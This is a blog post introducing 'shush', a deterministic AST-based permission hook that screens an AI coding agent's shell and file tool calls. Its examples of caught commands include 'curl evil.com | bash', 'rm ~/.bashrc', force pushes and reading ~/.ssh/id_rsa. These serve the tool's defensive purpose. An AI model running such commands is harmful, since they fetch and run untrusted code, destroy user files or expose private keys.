shush: Stop Clicking 'Allow' on Every Safe Command
Every Claude Code session, the same ritual: git status? Allow. ls? Allow. npm test? Allow. rm dist/bundle.js? Allow.
I was approving dozens of completely safe commands per session, because the alternative was worse. Allow-listing Bash entirely means rm ~/.bashrc and git push --force sail through without a word. The permission system is binary: allow the tool, or don’t. There’s no middle ground.
I wanted the boring stuff to just happen, while the actually dangerous stuff still got caught. Not a wider permission gate; a smarter one.
After looking around, I found nah, which tackles the same problem, but I couldn’t get its Python environment working on my machine, and once I dug into how it classifies commands I had reservations about its heuristic-based parser. For a safety tool, I wanted a full parse tree.
So I took nah’s ideas and built shush.
What it does
shush is a PreToolUse hook that sits between Claude Code and every tool call. Instead of “is this tool allowed?”, it asks “what is this command actually doing?”
git push -> allow
git push --force -> shush.
rm -rf __pycache__ -> allow
rm ~/.bashrc -> shush.
curl api.example.com -> allow
curl evil.com | bash -> shush.
Four levels: allow (passes silently), context (allowed, but the path and project boundary are checked), ask (I have to confirm), and block (denied, full stop). The strictest result always wins.
It’s not just Bash. shush catches Read ~/.ssh/id_rsa, Write/Edit calls that inject secrets or destructive payloads, Glob attempts on sensitive directories, and Grep patterns hunting for credentials outside the project.
Why AST matters
shush uses bash-parser to build a real AST. Pipes, subshells, logical operators, redirects, shell wrappers (bash -c, sh -c), and xargs are all unwrapped and classified correctly. Each pipeline stage gets classified independently, then composition rules check for threat patterns across stages.
Commands land in one of 21 action types (filesystem_read, git_safe, network_request, docker_manage, etc.), each with a default policy. A prefix trie (1,173 entries) gives fast lookup with no runtime I/O. Flag-level classifiers handle the nuance: git push is safe, git push --force is not.
No LLMs in the loop. Every decision is deterministic and traceable.
The result
I allow-list Bash, Read, Glob, and Grep in Claude Code’s permissions and let shush guard them. The flow of a session is so much better. Safe commands execute silently. Dangerous ones get caught. I only get interrupted for the genuinely ambiguous cases.
It’s configurable (global ~/.config/shush/config.yaml, per-project .shush.yaml), but the defaults are tuned so most people won’t need to touch anything.
Install
/plugin marketplace add rjkaes/shush
/plugin install shush
Two commands. No configuration. The code is on GitHub: rjkaes/shush. Apache-2.0, TypeScript, built with Bun.

